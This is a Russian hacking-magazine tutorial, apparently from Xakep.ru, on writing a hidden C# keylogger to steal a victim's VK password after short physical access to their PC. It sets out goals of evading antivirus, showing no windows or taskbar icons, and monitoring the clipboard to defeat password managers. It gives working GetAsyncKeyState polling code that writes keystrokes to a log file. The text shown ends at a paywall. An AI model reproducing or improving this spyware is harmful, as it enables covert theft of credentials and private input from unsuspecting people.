Содержание статьи
Ставим задачу
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
INFO
Подробнее об атаках на парольные менеджеры читай в статье «Ищем слабые места современных менеджеров паролей».
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main()
на static void Main(String[] args)
. Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO;
для работы с файлами, System.Runtime.InteropServices
для работы с WinAPI и System.Threading
для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState
из user32.dll:
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:
while (true)
{
Thread.Sleep(100);
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state != 0)
{
buf += ((Keys)i).ToString();
if (buf.Length > 10)
{
File.AppendAllText("keylogger.log", buf);
buf = "";
}
}
}
}
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if
в цикле на это:
// Усовершенствованная проверка введенных символов //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
buf += ((Keys)i).ToString();
}
else
{
buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{ File.AppendAllText("keylogger.log", buf);
buf = "";
}
После такого редактирования лог стал намного чище (см. рисунок).
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»